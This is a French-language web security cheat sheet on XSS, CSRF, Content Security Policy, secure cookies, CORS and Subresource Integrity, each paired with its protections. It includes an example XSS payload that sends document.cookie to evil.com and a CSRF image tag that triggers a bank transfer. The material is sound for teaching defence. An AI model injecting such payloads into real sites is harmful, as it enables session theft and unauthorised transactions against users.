Cross-Site Scripting (XSS)
Injection de code JavaScript malveillant dans une page web.
Types de XSS
| Type | Persistance | Vecteur |
|---|---|---|
| Reflected | Non | URL, paramètres GET |
| Stored | Oui | Base de données, commentaires |
| DOM-based | Non | Manipulation du DOM côté client |
Exemple d'attaque
<!-- Vulnerable -->
<div>Bienvenue, {{ username }}</div>
<!-- Attaque -->
<div>Bienvenue, <script>document.location='https://evil.com/steal?c='+document.cookie</script></div>Protection
- Échappement : encoder les sorties HTML (
<au lieu de<) - CSP : Content Security Policy qui bloque les scripts inline
- Frameworks : React, Vue, Angular échappent automatiquement
- HttpOnly : cookies inaccessibles via JavaScript
Cross-Site Request Forgery (CSRF)
Forcer un utilisateur authentifié à exécuter une action à son insu.
Exemple
<!-- Sur evil.com, l'image déclenche un transfert -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />Protection
- Token CSRF : token unique par session, vérifié côté serveur
- SameSite cookies :
SameSite=StrictouSameSite=Lax - Double Submit Cookie : token dans le cookie ET dans le formulaire
- Vérifier l'en-tete Origin/Referer
Content Security Policy (CSP)
Politique qui contrôle les sources de contenu autorisées.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.gstatic.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
Directives clés
| Directive | Contrôle |
|---|---|
default-src | Source par défaut pour tout |
script-src | Sources JavaScript autorisées |
style-src | Sources CSS autorisées |
img-src | Sources d'images autorisées |
connect-src | URLs pour fetch, XHR, WebSocket |
frame-ancestors | Qui peut embarquer la page (remplace X-Frame-Options) |
Cookies sécurisés
Set-Cookie: session=abc123;
Secure; // HTTPS uniquement
HttpOnly; // Pas d'accès JavaScript
SameSite=Lax; // Protection CSRF
Path=/;
Max-Age=3600; // Expiration 1h
Domain=.example.com;
| Attribut | Effet |
|---|---|
Secure | Cookie envoyé uniquement sur HTTPS |
HttpOnly | Inaccessible via document.cookie |
SameSite=Strict | Jamais envoye en cross-site |
SameSite=Lax | Envoyé en navigation top-level GET |
SameSite=None | Toujours envoyé (requiert Secure) |
CORS (Cross-Origin Resource Sharing)
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
Règles :
- Ne jamais utiliser
Access-Control-Allow-Origin: *avec credentials - Valider l'origin contre une allowlist côté serveur
- Preflight (OPTIONS) pour les requêtes non-simple
Subresource Integrity (SRI)
Vérifier que les scripts tiers n'ont pas été modifiés.
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous">
</script>$shasum -a 384 lib.js | xxd -r -p | base64
Générer le hash SRI d'un fichier